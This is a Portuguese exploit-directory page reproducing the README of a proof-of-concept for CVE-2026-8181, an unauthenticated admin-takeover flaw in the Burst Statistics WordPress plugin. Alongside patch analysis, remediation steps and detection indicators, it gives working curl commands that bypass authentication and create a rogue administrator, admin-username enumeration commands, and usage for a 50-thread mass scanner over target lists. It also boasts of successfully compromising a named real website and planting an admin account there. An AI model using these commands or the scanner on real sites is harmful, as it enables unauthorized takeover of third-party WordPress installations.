Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-8181 — CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Bypass de Autenticação Não Autenticado para Tomada de Conta de Administrador | Prova de Conceito | Kitploit
Ferramentas/GitHubGitHub/zycoder0day/cve-2026-8181
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAutenticaçãoAprendizado e Educação
GitHubzycoder0day/cve-2026-8181

CVE-2026-8181

CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Bypass de Autenticação Não Autenticado para Tomada de Conta de Administrador | Prova de Conceito

Ver Repositório
572há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-8181 — Burst Statistics Bypass de Autenticação para Tomada de Conta de Administrador


📋 Informações da Vulnerabilidade

ItemDetalhe
CVE IDCVE-2026-8181
PluginBurst Statistics – Privacy-Friendly WordPress Analytics
Versão Afetada3.4.0 – 3.4.1.1
Versão Corrigida3.4.2
Pontuação CVSS9.8 (Crítica)
TipoCWE-287: Improper Authentication
Vetor de AtaqueNetwork / Remote / Unauthenticated
Instalações Ativas~200,000+
Descoberto porPRISM, Wordfence Threat Intelligence
Data de Publicação8 de maio de 2026

🎯 Resumo

Uma vulnerabilidade crítica de Authentication Bypass no plugin WordPress Burst Statistics, versões 3.4.0 até 3.4.1.1, permite que um atacante sem autenticação obtenha acesso total de administrador no WordPress apenas conhecendo o nome de usuário do admin. A consequência é a tomada completa da conta de administrador, incluindo criação de novas contas, modificação de conteúdo e até instalação de plugins maliciosos.


🔬 Análise Técnica

Causa Raiz

A vulnerabilidade está no método is_mainwp_authenticated() no arquivo includes/Frontend/class-mainwp-proxy.php:

root@kitploit:~
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... parse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG: null BUKAN WP_Error!
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth hanya berdasarkan username!
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Grant admin privileges
        return true;
    }
    return false;
}

Bug principal: wp_authenticate_application_password(null, $username, $password) retorna null (não WP_Error) quando as Application Passwords não estão disponíveis, o que ocorre em:

  • Sites HTTP (não HTTPS) onde wp_is_application_passwords_available() retorna false
  • Sites onde is_ssl() retorna false

Como is_wp_error(null) = false, o código continua para get_user_by('login', $username), que autentica apenas com base no nome de usuário, sem nenhuma validação de senha.

Execução Antecipada (Early Execution)

O método has_admin_access() é chamado no hook plugins_loaded (prioridade 9) em class-burst.php, linha 118:

root@kitploit:~
if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

Este hook é executado ANTES do processamento de rotas da REST API, então wp_set_current_user() concede privilégios de admin para TODA a requisição — não apenas para os endpoints do Burst.

Fluxo do Ataque

root@kitploit:~
Attacker ──HTTP Request──▶ WordPress
  Headers:
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:anything)
                │
                ▼
        [plugins_loaded hook fires]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'anything')
                │
        Situs HTTP → wp_is_application_passwords_available() = false
                │
        Return null (BUKAN WP_Error)
                │
        is_wp_error(null) = false ← BYPASS!
                │
        get_user_by('login', 'admin') → found
                │
        wp_set_current_user(admin_id) → FULL ADMIN
                │
        has_admin_access() = true
                │
        [REST API memproses request dengan konteks admin]
                │
        Attacker mengakses SELURUH endpoint WordPress sebagai administrator

💻 Prova de Conceito

Pré-requisitos

  • Alvo executando HTTP (não HTTPS, ou SSL não detectado corretamente)
  • Plugin Burst Statistics versão 3.4.0 – 3.4.1.1 instalado e ativo
  • Conhecer o nome de usuário do admin (pode ser enumerado)

Instalação

root@kitploit:~
pip3 install requests

Uso — Alvo Único

root@kitploit:~
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

Uso — Multi-Alvo (Mass Scanner)

root@kitploit:~
python3 poc_CVE-2026-8181.py

Modo interativo:

  1. Informe o arquivo da lista de alvos (.txt, um domínio por linha)
  2. Defina o número de threads (padrão: 50)
  3. Defina as credenciais da nova conta
  4. Execute a varredura

Formato do targets.txt:

root@kitploit:~
target1.com
target2.com
192.168.1.100
subdomain.example.org

PoC Mínimo (curl)

root@kitploit:~
# Step 1: Verifikasi auth bypass
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Step 2: Buat akun administrator baru
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

Enumeração do Nome de Usuário do Admin

root@kitploit:~
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Method 3: Author enumeration
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

✅ Validação dos Resultados

Os testes foram realizados no WordPress 6.9 com Burst Statistics 3.4.1.1 (localhost):

TesteResultadoEvidência
Acesso a /wp/v2/users/me sem autenticaçãoFALHOUrest_not_logged_in
Acesso com headers de bypassSUCESSOPerfil do admin + e-mail + roles
Criar nova conta de administradorSUCESSOUser ID 2, role: administrator
Ler configurações do WordPressSUCESSOTítulo do site, e-mail do admin, URL
Obter Application PasswordSUCESSOToken Base64 admin:password
Listar plugins instaladosSUCESSOLista completa com versões

Validação em Alvo Real

AlvoResultado
ausdermitte-binz.dePWNED COM SUCESSO — Burst 3.4.1.1, bypass via binzwpadmin, conta xenon1337 criada (ID:30)

🔧 Análise do Patch (v3.4.2)

A correção na versão 3.4.2 resolve vários problemas:

  1. Verificação correta do tipo de retorno:
root@kitploit:~
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {  // ← Cek WP_User, bukan !WP_Error
    return false;
}
  1. Forçar a disponibilidade de Application Passwords:
root@kitploit:~
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
  1. Exigência de nonce CSRF para requisições autenticadas por cookie
  2. Proteção contra replay de nonce com uso único forçado via add_option()
  3. Formato de assinatura legado removido que não vinculava o nome de usuário

🛡️ Remediação

Medidas Imediatas

  1. Atualize o Burst Statistics para a versão 3.4.2 ou superior
  2. Audite as contas de usuário — verifique contas de administrador desconhecidas
  3. Revogue todas as Application Passwords (wp_application_passwords user meta)
  4. Revise o e-mail do admin do WordPress e outras configurações
  5. Verifique plugins/temas desconhecidos

Detecção de Indicadores de Comprometimento

  • Procure nos logs de acesso por requisições com o header X-BURSTMAINWP: 1 provenientes de IPs externos
  • Monitore a tabela wp_users em busca de novas contas de administrador
  • Verifique wp_options em busca do transient burst_mainwp_app_token_*
  • Revise as Application Passwords no perfil do usuário

📁 Arquivos Disponíveis

ArquivoDescrição
exploit_CVE-2026-8181.pyPoC exploit de alvo único
poc_CVE-2026-8181.pyMass scanner multi-alvo com threading
README.mdEsta documentação

⚠️ Aviso Legal

Esta ferramenta e documentação destinam-se apenas a testes de segurança legítimos com permissão explícita. O uso não autorizado de sistemas que não são seus, ou sem permissão por escrito, é ilegal. O autor não se responsabiliza pelo uso indevido.


📚 Referências

  • Wordfence Advisory
  • Source Code Vulnerable
  • WordPress Plugin Repository
  • WP-Safety Analysis

Baixar ferramenta